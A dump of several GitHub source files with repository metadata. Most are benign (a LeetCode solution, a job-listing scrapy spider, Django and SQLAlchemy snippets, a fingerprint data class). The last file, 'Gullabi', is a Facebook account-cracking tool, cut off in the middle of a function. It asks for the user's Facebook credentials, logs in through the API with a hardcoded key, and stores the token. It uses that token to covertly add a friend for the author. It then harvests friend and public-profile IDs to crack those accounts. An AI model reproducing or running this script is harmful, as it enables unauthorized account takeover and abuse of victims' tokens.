blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2 values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313 values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107 values | src_encoding stringclasses 20 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 4 6.02M | extension stringclasses 78 values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
bd090aca89d155016d194168fac8a7c7b8509f17 | ea393959886a5cd13da4539d634f2ca0bbcd06a2 | /82.py | 7ccff9c2594f1e475a361dff197c8395f4f63aba | [] | no_license | zhangchizju2012/LeetCode | f605f35b82f16282559af71e4e61ec2629a90ebc | 0c4c38849309124121b03cc0b4bf39071b5d1c8c | refs/heads/master | 2020-04-05T12:12:14.810639 | 2018-08-09T10:24:52 | 2018-08-09T10:24:52 | 81,021,830 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Wed Mar 15 01:07:11 2017
@author: zhangchi
"""
# Definition for singly-linked list.
class ListNode(object):
def __init__(self, x):
self.val = x
self.next = None
class Solution(object):
def deleteDuplicates(self, head):
"""
:type head: ListNode
:rtype: ListNode
"""
if head is None:
return None
result = ListNode(0)
temp = result
data = head.val
label = True
while head.next is not None:
head = head.next
if head.val != data and label == True:
temp.next = ListNode(data)
temp = temp.next
data = head.val
elif head.val != data and label != True:
label = True
data = head.val
else:
label = False
if label == True:
temp.next = ListNode(head.val)
return result.next | [
"zhangchizju2012@zju.edu.cn"
] | zhangchizju2012@zju.edu.cn |
5ef1396f75bbdc52a5d18f9d2ba0ba151107189a | 5e22c8508a766a6c163f6ab40575db35f02ed31a | /Project-4/job_search.py | 0d4e2123d22905cf1336850620c75079cb4cdfb8 | [] | no_license | anita-data/GA-Projects | e263dec7b8d090a2ef0c909cf28a933bae2ac333 | 3d0c27bbd5a4f375470504ba630f8f895a703aae | refs/heads/main | 2023-04-06T18:44:31.336714 | 2021-04-18T11:09:18 | 2021-04-18T11:09:18 | 358,546,555 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,479 | py | import scrapy
class SeekSpider(scrapy.Spider):
name = "job_search"
allowed_domains = ["seek.com.au"]
start_urls = ['https://www.seek.com.au/data-science-jobs/in-All-Australia']
def parse(self, response):
print('-----------------')
print('I just visited :' + response.url)
print('-----------------')
urls = response.css('h1 > a::attr(href)'.extract()
for url in urls:
url = response.urljoin(url)
yield scrapy.Request(url = url, callback =self.parse_details)
next_page = response.css('a[data-automation="page-next"]::attr(href)').extract_first()
if next_page is not None:
next_page = response.urljoin(next_page)
yield scrapy.Request(next_page, callback = self.parse)
def parse_details(self, response):
yield {
'title': response.css('span[data-automation="job-detail-title"] h1::text')[0].extract(),
'date': response.css('dd[data-automation="job-detail-date"] span::text’)[1].extract(),
'company': response.css('span[data-automation="advertiser-name"] span::text')[0].extract(),
'location': response.css('strong._7ZnNccT::text')[1].extract(),
'area': response.css('span._2TSaU36::text')[0].extract(),
'salary': response.css('span._7ZnNccT::text')[1].extract(),
'description': response.css('div[data-automation="mobileTemplate"] p::text').extract()
} | [
"noreply@github.com"
] | noreply@github.com |
97f54bfaf9957347fb4254fc70ebbe9c10c2fb2f | 03e4331a8d5c107f7cc1d814215ed1547ba6a0f0 | /xTool/models/models.py | 315e176f675bac1087ca7cd370482d941f7dd775 | [
"MIT",
"BSD-3-Clause",
"Apache-2.0",
"BSD-2-Clause"
] | permissive | KqSMea8/xTool | ba61a4f56e2e5ddda7caaf429cfb452be06a65c6 | eade656ca77347d2c05e66a3d680e236c8779683 | refs/heads/master | 2020-04-11T19:01:29.673695 | 2018-12-16T16:15:50 | 2018-12-16T16:15:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 807 | py | #coding: utf-8
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from future.standard_library import install_aliases
from builtins import str
from builtins import object, bytes
import dill
from urllib.parse import urlparse, quote, parse_qsl
from sqlalchemy import (
Column, Integer, String, DateTime, Text, Boolean, ForeignKey, PickleType,
Index, Float, LargeBinary)
from sqlalchemy import func, or_, and_, true as sqltrue
from sqlalchemy.ext.declarative import declarative_base, declared_attr
from sqlalchemy.orm import reconstructor, relationship, synonym
install_aliases()
Base = declarative_base()
# 主键ID的长度
ID_LEN = 250
# 中间表的默认key
XCOM_RETURN_KEY = 'return_value'
| [
"jinyinqiao@gmail.com"
] | jinyinqiao@gmail.com |
0101c439286a2a128d794b2c3fc87af2270da6b3 | 30a8da946a7cacc12450c2bc251c10ad00132c64 | /mysite/urls.py | 5d953fd3f6e5694e12257040e4a35b3bfd581406 | [] | no_license | proavinashthakur/python-django | 11e61c6676ffca86919f743f3bdc7110f33f8a13 | 7c892f2b159a843de82d9115025229787ec5b370 | refs/heads/master | 2020-05-09T23:42:31.069886 | 2019-04-15T15:09:22 | 2019-04-15T15:09:22 | 181,510,277 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 163 | py | from django.contrib import admin
from django.urls import include, path
urlpatterns = [
path('polls/', include('polls.urls')),
path('', admin.site.urls),
] | [
"proavinashthathur@gmail.com"
] | proavinashthathur@gmail.com |
f177da88dbb975deb9ac6b07454a03d21b3123c0 | 3d158381e8b51b547cb97b42f31715460968c343 | /python_html_css_blog/routes.py | a5d9de0505cce8203d0743dffe21e440188e1fad | [] | no_license | bkzzshzz/Python_Practice | 942ab981ba64ddc8321b6532ef6790da54230100 | 01352aa29a881204595b98dead60b3c836be7070 | refs/heads/master | 2023-06-29T18:35:24.374307 | 2021-08-03T04:14:10 | 2021-08-03T04:14:10 | 372,134,055 | 0 | 0 | null | 2021-06-24T10:06:57 | 2021-05-30T05:46:03 | HTML | UTF-8 | Python | false | false | 1,396 | py | class Route:
def __init__(self, list_of_paths, redirect_path_list):
self.list_of_paths = list_of_paths
self.redirect_path_list = redirect_path_list
def add_path_to_list(input_path, return_url):
pass
def register_url(input_path):
pass
if __name__ == '__main__':
all_paths = ["/", "/my-contact.html", "/blog-posts/", "/images/", "/poems", "/poems.html", "/programming-journey", "/programming-journey.html", "/my-cv.html", "/my-cv", "/cv", "/home.html", "/home", "/book-reviews", "/book-reviews.html", "/gallery", "/gallery.html"]
map_input_output = {
"/" : "/home.html",
"/my-contact.html" : "/404.html",
"/blog-posts/" : "/list_of_blogs.html",
"/images/" : "/401.html",
"/programming-journey" : "/programming-journey.html",
"/programming-journey.html" : "/programming-journey.html",
"/poems" : "/poems.html",
"/poems.html" : "/poems.html",
"/my-cv.html" : "/my-cv.html",
"/my-cv" : "/my-cv.html",
"/cv" : "/my-cv.html",
"/home.html" : "/home.html",
"/home" : "/home.html",
"/book-reviews" : "/book-reviews.html",
"/book-reviews.html": "/book-reviews.html",
"/gallery" : "/gallery.html",
"/gallery.html" : "/gallery.html"
}
route_instance = Route(all_paths, map_input_output)
| [
"bkzz_shzz@yahoo.com"
] | bkzz_shzz@yahoo.com |
82cadd475948ffd96531e64287bce69554e71933 | caba6799c6cd4d33954db0a07e8821e73087d81a | /updatesproducer/updateapi/audio.py | c4d025b62cbc40190a9c95c6f8fcba2b4514de7b | [
"Apache-2.0"
] | permissive | ShakedGold/Iris | f2bcf3c5568fdb9de7bcb06a9a161fbd2cdd8953 | b60deb6575820253bad50b48b9b39023d6440fd4 | refs/heads/master | 2022-12-31T03:32:36.695256 | 2020-10-18T06:07:01 | 2020-10-18T06:07:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 233 | py | from updatesproducer.updateapi.imedia import IMedia
class Audio(IMedia):
duration_seconds: int
title: int
artist: int
def __init__(self, **kwargs):
self._type = 'Audio'
self.__dict__.update(kwargs)
| [
"multi@codeprecise.com"
] | multi@codeprecise.com |
071cf340c23a15c39e29549b47c35d45036859f0 | 551ef0567aca428a535775d3949f5d9670c0d29c | /abc/173/d/main.py | 17b7c7ad3e7efd9f8db31585e1d42505e573aa4d | [] | no_license | komo-fr/AtCoder | 7451a9402466ce8d487d0c521128732061c647df | c916889294cb12f21e74254de43b3e17e1b354bc | refs/heads/master | 2023-07-22T07:05:52.955188 | 2023-03-01T14:22:16 | 2023-03-01T14:22:16 | 213,109,943 | 0 | 0 | null | 2023-07-06T22:01:28 | 2019-10-06T04:44:49 | Python | UTF-8 | Python | false | false | 370 | py | #!/usr/bin/env python3
from collections import deque
N = int(input().split()[0])
a_list = list(map(int, input().split()))
a_list = sorted(a_list, reverse=True)
c_list = a_list[: (N + 1) // 2]
if len(c_list) == 1:
ans = c_list[0]
elif N % 2 == 0:
ans = c_list[0] + sum(c_list[1:]) * 2
else:
ans = c_list[0] + sum(c_list[1:-1]) * 2 + c_list[-1]
print(ans)
| [
"komo.mdrms@gmail.com"
] | komo.mdrms@gmail.com |
8123f8b823863a2cdfac01616013fec780ac3e16 | ef4a1748a5bfb5d02f29390d6a66f4a01643401c | /algorithm/2_algo/strting_search.py | cd08c5997becfb887981008a564f5f0a36907fff | [] | no_license | websvey1/TIL | aa86c1b31d3efc177df45503d705b3e58b800f8e | 189e797ba44e2fd22a033d1024633f9e0128d5cf | refs/heads/master | 2023-01-12T10:23:45.677578 | 2019-12-09T07:26:59 | 2019-12-09T07:26:59 | 162,102,142 | 0 | 1 | null | 2022-12-11T16:31:08 | 2018-12-17T08:57:58 | Python | UTF-8 | Python | false | false | 667 | py | import sys, time
start = time.time()
sys.stdin = open("./tc/strting_search.txt","r")
T = int(input())
for tc in range(1,T+1):
data = input()
all = input()
############# 쉬운버전 ############3 0.0초
result = 5
if data in all:
result = 1
else:
result = 0
###############3 어렵 ####################3 0.001초
# result = 5
#
# for i in range(len(all)-len(data)+1):
# if all[i:i+len(data)] == data:
# result = 1
# break
# else:
# result = 0
# print(data)
# print(all[i:i+len(data)])
print("#%d %d" %(tc,result), time.time()- start)
| [
"websvey1@gmail.com"
] | websvey1@gmail.com |
61b3cf3373d26befd371f164e12e5ca2f09ab031 | e4624ec8193c7da963f31498fc92ea63227eb25a | /app/resource/user/user_info.py | dd67b2d873a4bd7728ef7d74de68f836bcbfa377 | [
"MIT"
] | permissive | 150619/Practice_news_A | 5e6a3059fa0ca3985e185cbd53f61f0ed9de87c9 | 2f01e5f90dcc67041abcb54270484a6d42a5557b | refs/heads/main | 2023-02-16T12:39:37.271434 | 2021-01-10T11:35:30 | 2021-01-10T11:35:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 731 | py | from flask_restful import Resource
from common.utils.decorators import login_required
class UserInfoResource(Resource):
method_decorators = {'get': [login_required]}
def get(self):
# 找到已登录用户的id
from flask import g
user_id = g.user_id
from common.models.user import User
from sqlalchemy.orm import load_only
# 通过当前登录用户id从数据库中查询
user_info = User.query. \
options(load_only(User.id, User.name, User.profile_photo, User.introduction, User.article_count,
User.following_count, User.fans_count)). \
filter(user_id == User.id).first()
return user_info.to_dict()
| [
"73057041+150619@users.noreply.github.com"
] | 73057041+150619@users.noreply.github.com |
93042cdae27f560677fe72b23e03692a92bba34e | e49c005551937e31464c2f546e97e9e89e35c49c | /02.Scripts/NCBI_Genome_Downloader.py | 65f45439d00124702a872873896f6c4aa00dbb29 | [] | no_license | cruizperez/Bioinformatic_Tools | 7283588e4d8b91bd33be6be18d4b79faa9ce150c | 91c75b2b36a6a1b62e00cffd285c4183ee87f67a | refs/heads/master | 2023-04-30T21:27:49.963193 | 2021-05-19T04:23:34 | 2021-05-19T04:23:34 | 173,467,371 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,193 | py | #!/usr/bin/env python
"""
########################################################################
# Author: Carlos Ruiz, cruizperez3@gatech.edu
# Intitution: Georgia Institute of Technology
# https://github.com/cruizperez/
# Version: 1.0
# Date: 07 Nov 2019
# Description: Downloads multiple genomes from NCBI RefSeq database
using the Assembly Summary file from NCBI.
########################################################################
"""
################################################################################
"""---1.0 Import Global Modules---"""
import wget
import time
################################################################################
"""---2.0 Define Functions---"""
def RefSeq_Downloader(Input_File):
with open(Input_File, 'r') as Input:
for line in Input:
line = line.strip().split("\t")
name = line[0]
url = line[19]
folder = url.split("/")[-1]
new_url = url + "/" + folder + "_genomic.fna.gz"
print("\nDownloading from {} into {}.fasta.gz\n".format(new_url, name))
filename = name + ".fasta.gz"
try:
filename = wget.download(new_url, out=filename)
except:
time.sleep(60)
print("\nRetrying to download {}".format(new_url))
"""---3.0 Main Function---"""
def main():
import argparse, sys
# Setup parser for arguments.
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description='''Downloads multiple genomes from NCBI RefSeq database\n'''
'''using the Assembly Summary file from NCBI.\n'''
'''Usage: ''' + sys.argv[0] + ''' -i [Input_File]\n'''
'''Global mandatory parameters: -i [Input_File]\n'''
'''Optional Database Parameters: See ''' + sys.argv[0] + ' -h')
parser.add_argument('-i', '--input', dest='InputFile', action='store', required=True, help='Input list with times as HH:MM:SS, one per line')
args = parser.parse_args()
InputFile = args.InputFile
RefSeq_Downloader(InputFile)
if __name__ == "__main__":
main()
| [
"30295020+cruizperez@users.noreply.github.com"
] | 30295020+cruizperez@users.noreply.github.com |
ea26d52cac00b4d403d26785a8562ac5dd52f808 | a0282c578384ea765bee9c6611fabbe79b2256fc | /openhrms/hr_biometric_machine_zk_demo/models/finger.py | 8de9829e3932d0a7ec804b62f8cf03fede1221d9 | [
"MIT"
] | permissive | nadahmed/hivecorehrms | f688220d5dcabace8c62fb2eb42ce6b9b4e02105 | e0cacbbd2f608490b613b9c671809e251868035d | refs/heads/main | 2023-03-29T12:08:53.539162 | 2021-03-23T06:07:43 | 2021-03-23T06:07:43 | 350,272,239 | 0 | 0 | MIT | 2021-03-22T08:54:46 | 2021-03-22T08:54:44 | null | UTF-8 | Python | false | false | 1,764 | py | # -*- coding: utf-8 -*-
from struct import pack #, unpack
import codecs
class Finger(object):
def __init__(self, uid, fid, valid, template):
self.size = len(template) # template only
self.uid = int(uid)
self.fid = int(fid)
self.valid = int(valid)
self.template = template
#self.mark = str().encode("hex")
self.mark = codecs.encode(template[:8], 'hex') + b'...' + codecs.encode(template[-8:], 'hex')
def repack(self): #full
return pack("HHbb%is" % (self.size), self.size+6, self.uid, self.fid, self.valid, self.template)
def repack_only(self): #only template
return pack("H%is" % (self.size), self.size, self.template)
@staticmethod
def json_unpack(json):
return Finger(
uid=json['uid'],
fid=json['fid'],
valid=json['valid'],
template=codecs.decode(json['template'],'hex')
)
def json_pack(self): #packs for json
return {
"size": self.size,
"uid": self.uid,
"fid": self.fid,
"valid": self.valid,
"template": codecs.encode(self.template, 'hex').decode('ascii')
}
def __eq__(self, other):
return self.__dict__ == other.__dict__
def __str__(self):
return "<Finger> [uid:{:>3}, fid:{}, size:{:>4} v:{} t:{}]".format(self.uid, self.fid, self.size, self.valid, self.mark)
def __repr__(self):
return "<Finger> [uid:{:>3}, fid:{}, size:{:>4} v:{} t:{}]".format(self.uid, self.fid, self.size, self.valid, self.mark)
def dump(self):
return "<Finger> [uid:{:>3}, fid:{}, size:{:>4} v:{} t:{}]".format(self.uid, self.fid, self.size, self.valid, codecs.encode(self.template, 'hex'))
| [
"abrarahnaf@gmail.com"
] | abrarahnaf@gmail.com |
67545b2050a0a9a4e4595f07aeedbc7bf6d89031 | 5945903ff7b3c0be799d8b228aa96309e8d6b68a | /PTA_AL_1011.py | ccbd0a00df6ca36344b78bfa9460a3742a7ea3c2 | [] | no_license | freesan44/LeetCode | 44fd01fa37e2d7e729ae947da2350b1649c163ae | 2ed9f1955c527d43fe1a02e5bebf5a6f981ef388 | refs/heads/master | 2021-12-07T20:07:02.308097 | 2021-11-01T23:58:11 | 2021-11-01T23:58:11 | 245,178,582 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 542 | py | inputList = []
for _ in range(3):
inputData = list(map(float,input().split()))
# inputData = list(map(float, "1.1 2.5 1.7".split()))
inputList.append(inputData)
retList = []
res = 1
for i in inputList:
maxVal = max(i)
indexVal = i.index(maxVal)
if indexVal == 0:
retList.append("W")
elif indexVal == 1:
retList.append("T")
else:
retList.append("L")
res *= maxVal
res = 2 * (res*0.65 - 1)
## 难点是格式化方式
res = "%.2f" % res
retList.append(res)
print(" ".join(retList))
| [
"freesan44@163.com"
] | freesan44@163.com |
35e7366e76f6e50c77b6fa3fcf1065b6905128ef | 05780fe9a74b116832611a35fce38fa24b4d4ffc | /madgraph/madgraph_binaries/models/taudecay_UFO/__init__.py | 3c9f65445319ce87b7af17ac5a5968bbe0ceae11 | [] | no_license | cesarotti/Dark-Photons | d810658190297528470abe757c4a678075ef48f6 | c6dce1df70c660555bf039a78765e4efbffb4877 | refs/heads/master | 2021-01-22T19:26:13.892225 | 2015-01-28T05:43:20 | 2015-01-28T05:49:54 | 20,692,647 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 893 | py |
import particles
import couplings
import lorentz
import parameters
import vertices
import coupling_orders
import write_param_card
import propagators
all_particles = particles.all_particles
all_vertices = vertices.all_vertices
all_couplings = couplings.all_couplings
all_lorentz = lorentz.all_lorentz
all_parameters = parameters.all_parameters
all_orders = coupling_orders.all_orders
all_functions = function_library.all_functions
all_propagators = propagators.all_propagators
try:
import decays
except ImportError:
pass
else:
all_decays = decays.all_decays
try:
import form_factors
except ImportError:
pass
else:
all_form_factors = form_factors.all_form_factors
try:
import CT_vertices
except ImportError:
pass
else:
all_CTvertices = CT_vertices.all_CTvertices
gauge = [0]
__author__ = "K. Mawatari, J. Nakamura"
__date__ = "2014.05.08"
__version__= "2.0"
| [
"eyvind.niklasson@gmail.com"
] | eyvind.niklasson@gmail.com |
bcb1548eaff70ab7970362c482e0a054b23840d0 | 775fdec8dd3d959560450fec3cf17c82a79e3f61 | /apps/user_login/views.py | 75b7d126f265a28fa96c48312207d196e04a6e1f | [] | no_license | HarmsA/Dojo_Ninja | f2ff9833ea1b7707bed567ab869d1a645f8694a4 | 23ce11de538e600fccf64ac3c28348ca7bf38422 | refs/heads/master | 2020-04-09T03:13:10.591710 | 2018-12-02T18:27:29 | 2018-12-02T18:27:29 | 159,974,181 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 126 | py | from django.shortcuts import render, HttpResponse
# Create your views here.
def index(request):
return HttpResponse('hi') | [
"harms2a@gmail.com"
] | harms2a@gmail.com |
1f052585d22d982aad068374350cb10be20972f4 | 5a438b6f246981fde6d6c3cb63db16bd495e503f | /Gullabi | 3ebec2c9d475e947aef45773c26d6653c923a63c | [] | no_license | gullabi1/PAKISTAN | ee47a128ba786bff4b7ffafb1fc4cb06497d693a | 19aee80cbb742e0865bc386eb5f00bb0f607e32f | refs/heads/master | 2022-11-21T13:39:33.593672 | 2020-07-26T17:09:52 | 2020-07-26T17:09:52 | 282,677,103 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,854 | #!/usr/bin/python2
#coding=utf-8
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
def keluar():
print "\033[1;96m[!] \x1b[1;91mExit"
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
def cetak(b):
w = 'ahtdzjc'
for i in w:
j = w.index(i)
x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j))
x += '\033[0m'
x = x.replace('!0','\033[0m')
sys.stdout.write(x+'\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(00000.1)
##### LOGO #####
logo = """ ▄︻┻═┳一 ЩєLc๏Mє ┼๏ ┼ђє Fąş┼єş┼ єVєr cL๏ЙIЙG
▄︻┻═┳一 ♥️SAJID-KђąЙ-๏FFIcIąL♥️----------🔴
▄︻┻═┳一 ♥️♥️ GULLABI - cL๏Йєr ♥️♥️----🔴🔴
▄︻┻═┳一 💪💪FIGHTER-GANH💪💪 🔴🔴
▄︻┻═┳一 ---- FєєL ┼ђє P๏Щєr --------🔴🔴
ЩєLc๏Mє ┼๏ ЦЙLIMI┼єđ cL๏ЙIЙG
╭━━━╮╱╱╭╮╭╮╱╱╱╭╮
┃╭━╮┃╱╱┃┃┃┃╱╱╱┃┃
┃┃╱╰╋╮╭┫┃┃┃╭━━┫╰━┳╮
┃┃╭━┫┃┃┃┃┃┃┃╭╮┃╭╮┣┫
┃╰┻━┃╰╯┃╰┫╰┫╭╮┃╰╯┃┃
╰━━━┻━━┻━┻━┻╯╰┻━━┻╯
WhatsApp: 0544145675
Sajid
▇◤▔▔▔▔▔▔▔◥▇
▇▏◥▇◣┊◢▇◤▕▇
▇▏▃▆▅▎▅▆▃▕▇
▇▏╱▔▕▎▔▔╲▕▇
▇◣◣▃▅▎▅▃◢◢▇
▇▇◣◥▅▅▅◤◢▇▇
▇▇▇◣╲▇╱◢▇▇▇
▇▇▇▇◣▇◢▇▇▇▇
ђ๏Pє Y๏Ц MąY Gє┼ ๏Ц┼ЙЦMßєrєđ ącc๏ЦЙ┼ş
P๏şşIßLY şYЙcђr๏ЙI乙єđ ßY ┼ђIş GI┼ђЦß .
♥️♥️♥️ ßєş┼ ๏F LЦcK ♥️♥️♥️
♥️♥️ rąM乙ąЙ MЦßąrąK ┼๏ єVєrY ß๏đY ♥️♥️
\033[1;91m=======================================
\033[1;96mAuthor \033[1;93m: \033[1;92m sajid khan
\033[1;96mInstagram \033[1;93m: \033[1: itx_gullabi_yr
\033[1;96mFacebook \033[1;93m: \033[1: sajid.khan3781
\033[1;96mGithub \033[1;93m: \033[1;92mhttps://github.com/sajidkhan/PAKISTAN
\033[1;91m======================================="""
def tik():
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;96m[●] \x1b[1;93mSedang masuk \x1b[1;97m"+o),;sys.stdout.flush();time.sleep(1)
back = 0
berhasil = []
cekpoint = []
oks = []
id = []
listgrup = []
vulnot = "\033[31mNot Vuln"
vuln = "\033[32mVuln"
os.system("clear")
print "\033[1;96m ============================================================="
print """\033[1;91m
╭━━━╮╱╱╭╮╭╮╱╱╱╭╮
┃╭━╮┃╱╱┃┃┃┃╱╱╱┃┃
┃┃╱╰╋╮╭┫┃┃┃╭━━┫╰━┳╮
┃┃╭━┫┃┃┃┃┃┃┃╭╮┃╭╮┣┫
┃╰┻━┃╰╯┃╰┫╰┫╭╮┃╰╯┃┃
╰━━━┻━━┻━┻━┻╯╰┻━━┻╯
Sajid
▇◤▔▔▔▔▔▔▔◥▇
▇▏◥▇◣┊◢▇◤▕▇
▇▏▃▆▅▎▅▆▃▕▇
▇▏╱▔▕▎▔▔╲▕▇
▇◣◣▃▅▎▅▃◢◢▇
▇▇◣◥▅▅▅◤◢▇▇
▇▇▇◣╲▇╱◢▇▇▇
▇▇▇▇◣▇◢▇▇▇▇
WhatsApp : 03124788959
\033[1;96mAuthor \033[1;93m: \033[1;92m sajid khan
\033[1;96mInstagram \033[1;93m: \033[1;92mitx_gullabi_yr
\033[1;96mFacebook \033[1;93m: \033[1;92m sajid.khan3781
\033[1;96mGithub \033[1;93m: \033[1;92mhttps://github.com/sajidkhan/PAKISTAN
\033[1;91m======================================="""
print " \x1b[1;93m============================================================="
CorrectUsername = "Gullabi"
CorrectPassword = "Gullabi"
loop = 'true'
while (loop == 'true'):
username = raw_input("\033[1;96m[☆] \x1b[1;93mUsername Of Tool \x1b[1;96m>>>> ")
if (username == CorrectUsername):
password = raw_input("\033[1;96m[☆] \x1b[1;93mPassword Of Tool \x1b[1;96m>>>> ")
if (password == CorrectPassword):
print "Logged in successfully as " + username
loop = 'false'
else:
print "Wrong Password"
os.system('xdg-open https://www.youtube.com/channel/UCDJbhYSPToi1-CdzGLEzAIQ ')
else:
print "Wrong Username"
os.system('xdg-open https://www.youtube.com/channel/UCDJbhYSPToi1-CdzGLEzAIQ ')
def login():
os.system('clear')
try:
toket = open('login.txt','r')
menu()
except (KeyError,IOError):
os.system('clear')
print logo
print 42*"\033[1;96m="
print('\033[1;96m[☆] \x1b[1;93mLOGIN WITH FACEBOOK \x1b[1;96m[☆]' )
id = raw_input('\033[1;96m[+] \x1b[1;93mID/Email \x1b[1;91m: \x1b[1;92m')
pwd = raw_input('\033[1;96m[+] \x1b[1;93mPassword \x1b[1;91m: \x1b[1;92m')
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print"\n\033[1;96m[!] \x1b[1;91mThere is no internet connection"
keluar()
br._factory.is_html = True
br.select_form(nr=0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"}
x=hashlib.new("md5")
x.update(sig)
a=x.hexdigest()
data.update({'sig':a})
url = "https://api.facebook.com/restserver.php"
r=requests.get(url,params=data)
z=json.loads(r.text)
unikers = open("login.txt", 'w')
unikers.write(z['access_token'])
unikers.close()
print '\n\033[1;96m[✓] \x1b[1;92mLogin Successful'
os.system('xdg-open https://www.Facebook.com/komail.khan.3781')
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token'])
menu()
except requests.exceptions.ConnectionError:
print"\n\033[1;96m[!] \x1b[1;91mThere is no internet connection"
keluar()
if 'checkpoint' in url:
print("\n\033[1;96m[!] \x1b[1;91mIt seems that your account has a checkpoint")
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
else:
print("\n\033[1;96m[!] \x1b[1;91mPassword/Email is wrong")
os.system('rm -rf login.txt')
time.sleep(1)
login()
def menu():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
os.system('clear')
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
otw = requests.get('https://graph.facebook.com/me?access_token='+toket)
a = json.loads(otw.text)
nama = a['name']
id = a['id']
except KeyError:
os.system('clear')
print"\033[1;96m[!] \033[1;91mIt seems that your account has a checkpoint"
os.system('rm -rf login.txt')
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print"\033[1;96m[!] \x1b[1;91mThere is no internet connection"
keluar()
os.system("clear")
print logo
print 42*"\033[1;96m="
print "\033[1;96m[\033[1;97m✓\033[1;96m]\033[1;93m Name \033[1;91m: \033[1;92m"+nama+"\033[1;97m "
print "\033[1;96m[\033[1;97m✓\033[1;96m]\033[1;93m ID \033[1;91m: \033[1;92m"+id+"\x1b[1;97m "
print 42*"\033[1;96m="
print "\x1b[1;96m[\x1b[1;92m1\x1b[1;96m]\x1b[1;93m Start Hacking"
print "\x1b[1;96m[\x1b[1;91m0\x1b[1;96m]\x1b[1;91m Exit "
pilih()
def pilih():
unikers = raw_input("\n\033[1;97m >>> \033[1;97m")
if unikers =="":
print "\033[1;96m[!] \x1b[1;91mFill in correctly"
pilih()
elif unikers =="1":
super()
elif unikers =="0":
jalan('Token Removed')
os.system('rm -rf login.txt')
keluar()
else:
print "\033[1;96m[!] \x1b[1;91mFill in correctly"
pilih()
def super():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 42*"\033[1;96m="
print "\x1b[1;96m[\x1b[1;92m1\x1b[1;96m]\x1b[1;93m Crack From Friend List"
print "\x1b[1;96m[\x1b[1;92m2\x1b[1;96m]\x1b[1;93m Crack From Any Public ID"
print "\x1b[1;96m[\x1b[1;92m3\x1b[1;96m]\x1b[1;93m Crack From File"
print "\x1b[1;96m[\x1b[1;91m0\x1b[1;96m]\x1b[1;91m Back"
pilih_super()
def pilih_super():
peak = raw_input("\n\033[1;97m >>> \033[1;97m")
if peak =="":
print "\033[1;96m[!] \x1b[1;91mFill in correctly"
pilih_super()
elif peak =="1":
os.system('clear')
print logo
print 42*"\033[1;96m="
jalan('\033[1;96m[✺] \033[1;93mGetting ID \033[1;97m...')
r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif peak =="2":
os.system('clear')
print logo
print 42*"\033[1;96m="
idt = raw_input("\033[1;96m[+] \033[1;93mEnter ID \033[1;91m: \033[1;97m")
try:
jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
op = json.loads(jok.text)
